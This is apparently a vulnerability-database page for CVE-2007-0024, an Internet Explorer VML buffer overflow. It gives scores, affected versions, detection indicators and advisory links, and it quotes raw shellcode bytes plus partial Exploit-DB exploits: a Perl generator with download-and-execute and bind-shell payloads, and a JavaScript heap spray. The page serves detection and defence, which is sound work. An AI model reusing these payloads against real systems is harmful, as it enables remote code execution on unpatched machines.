CVE-2007-0024
published 2007-01-09CVE-2007-0024: Integer overflow in the Vector Markup Language (VML) implementation (vgx.dll) in Microsoft Internet Explorer 5.01, 6, and 7 on Windows 2000 SP4, XP SP2, Server…
PriorityP271critical9.3CVSS 2.0
AVNACMAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
46.49%
98.7th percentile
Integer overflow in the Vector Markup Language (VML) implementation (vgx.dll) in Microsoft Internet Explorer 5.01, 6, and 7 on Windows 2000 SP4, XP SP2, Server 2003, and Server 2003 SP1 allows remote attackers to execute arbitrary code via a crafted web page that contains unspecified integer properties that cause insufficient memory allocation and trigger a buffer overflow, aka the "VML Buffer Overrun Vulnerability."
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3
bytes↗
\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x09\x7c\xda\x38
bytes↗
%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063
- →Exploit page uses VML behavior binding via CSS rule targeting the VMLRender namespace; detect HTML/CSS containing 'behavior: url(#VMLRender)' combined with v\:* selector ↗
- →Exploit uses JavaScript heap-spray with NOP sled encoded as %u9090%u9090 followed by shellcode via unescape(); detect unescape() calls containing %u9090 NOP sleds in script blocks ↗
- →Heap spray uses 0x0505 fill pattern (bigblock); detect large JavaScript strings filled with %u0505%u0505 as a heap-spray indicator for this exploit ↗
- →Exploit delivers a bind shell on TCP port 31337; monitor for unexpected outbound/inbound connections on port 31337 from iexplore.exe ↗
- →The vulnerable DLL is vgx.dll; monitor for abnormal memory allocation or crashes originating from vgx.dll loaded in iexplore.exe as an indicator of exploitation attempts ↗
- ·The download-and-execute shellcode variant requires an attacker-controlled URL argument (-d); the hardcoded fallback URL 'http://server/nc.exe' is a placeholder and not a real IOC ↗
- ·Exploit targets Internet Explorer 5.01, 6, and 7 on Windows 2000 SP4, XP SP2, Server 2003, and Server 2003 SP1 only; patched systems (MS07-004) are not affected ↗
CVSS provenance
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck9.3CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-7mp6-c8xj-7fpp: Safari on Apple iPhone OS 3
ghsa_unreviewed·2022-05-02·CVSS 9.3
CVE-2010-1179 [CRITICAL] GHSA-7mp6-c8xj-7fpp: Safari on Apple iPhone OS 3
Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a large integer in the numcolors attribute of a recolorinfo element in a VML file, possibly a related issue to CVE-2007-0024.
GHSA
GHSA-2p55-j483-368p: Integer overflow in the Vector Markup Language (VML) implementation (vgx
ghsa_unreviewed·2022-05-01
CVE-2007-0024 [HIGH] GHSA-2p55-j483-368p: Integer overflow in the Vector Markup Language (VML) implementation (vgx
Integer overflow in the Vector Markup Language (VML) implementation (vgx.dll) in Microsoft Internet Explorer 5.01, 6, and 7 on Windows 2000 SP4, XP SP2, Server 2003, and Server 2003 SP1 allows remote attackers to execute arbitrary code via a crafted web page that contains unspecified integer properties that cause insufficient memory allocation and trigger a buffer overflow, aka the "VML Buffer Overrun Vulnerability."
VulnCheck
Microsoft Windows Integer Overflow or Wraparound
vulncheck·2007·CVSS 9.3
CVE-2007-0024 [CRITICAL] Microsoft Windows Integer Overflow or Wraparound
Microsoft Windows Integer Overflow or Wraparound
Integer overflow in the Vector Markup Language (VML) implementation (vgx.dll) in Microsoft Internet Explorer 5.01, 6, and 7 on Windows 2000 SP4, XP SP2, Server 2003, and Server 2003 SP1 allows remote attackers to execute arbitrary code via a crafted web page that contains unspecified integer properties that cause insufficient memory allocation and trigger a buffer overflow, aka the "VML Buffer Overrun Vulnerability."
Affected: Microsoft Windows
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://learn.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-004; https://www.virusbulletin.com/vir
No detection rules found.
Exploit-DB
Microsoft Internet Explorer - VML Download and Execute (MS07-004)
exploitdb·2007-01-17
CVE-2007-0024 Microsoft Internet Explorer - VML Download and Execute (MS07-004)
Microsoft Internet Explorer - VML Download and Execute (MS07-004)
---
#(c) pang0 // www.tcbilisim.org
#bug found3d by LifeAsaGeek
#thx => o.g. / chaos / sakkure / stansar / xoron
#MS07-004 VML integer overflow exploit
$html = "laz.html";
print "(c) pang0 // www.tcbilisim.org\nbug found3d by LifeAsaGeek\nMS07-004 VML integer overflow exploit\nusage: perl $0 \n",
"shell => -b bind(31337)\n-d down.exec if selc. -d u must a down addr. \n",
"exam: perl $0 -b\nexam2: perl $0 -d http://server/nc.exe\n" and exit if !$ARGV[0];
#down exec
$down =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x
Exploit-DB
Microsoft Internet Explorer - VML Remote Buffer Overflow (MS07-004)
exploitdb·2007-01-16
CVE-2007-0024 Microsoft Internet Explorer - VML Remote Buffer Overflow (MS07-004)
Microsoft Internet Explorer - VML Remote Buffer Overflow (MS07-004)
---
and slightly modified
- 2007.1.15
-->
v\:* { behavior: url(#VMLRender); }
shellcode =
unescape("%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length
# milw0rm.com [2007-01-16]
No writeups or analysis indexed.
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=462http://secunia.com/advisories/23677http://securitytracker.com/id?1017489http://support.avaya.com/elmodocs2/security/ASA-2007-009.htmhttp://support.microsoft.com/?kbid=929969http://www.kb.cert.org/vuls/id/122084http://www.osvdb.org/31250http://www.securityfocus.com/archive/1/457053/100/0/threadedhttp://www.securityfocus.com/archive/1/457164/100/0/threadedhttp://www.securityfocus.com/archive/1/457274/100/0/threadedhttp://www.securityfocus.com/bid/21930http://www.us-cert.gov/cas/techalerts/TA07-009A.htmlhttp://www.vupen.com/english/advisories/2007/0105http://www.vupen.com/english/advisories/2007/0129https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-004https://exchange.xforce.ibmcloud.com/vulnerabilities/31287https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1058http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=462http://secunia.com/advisories/23677http://securitytracker.com/id?1017489http://support.avaya.com/elmodocs2/security/ASA-2007-009.htmhttp://support.microsoft.com/?kbid=929969http://www.kb.cert.org/vuls/id/122084http://www.osvdb.org/31250http://www.securityfocus.com/archive/1/457053/100/0/threadedhttp://www.securityfocus.com/archive/1/457164/100/0/threadedhttp://www.securityfocus.com/archive/1/457274/100/0/threadedhttp://www.securityfocus.com/bid/21930http://www.us-cert.gov/cas/techalerts/TA07-009A.htmlhttp://www.vupen.com/english/advisories/2007/0105http://www.vupen.com/english/advisories/2007/0129https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-004https://exchange.xforce.ibmcloud.com/vulnerabilities/31287https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1058
2007-01-09
Published
Exploited in the wild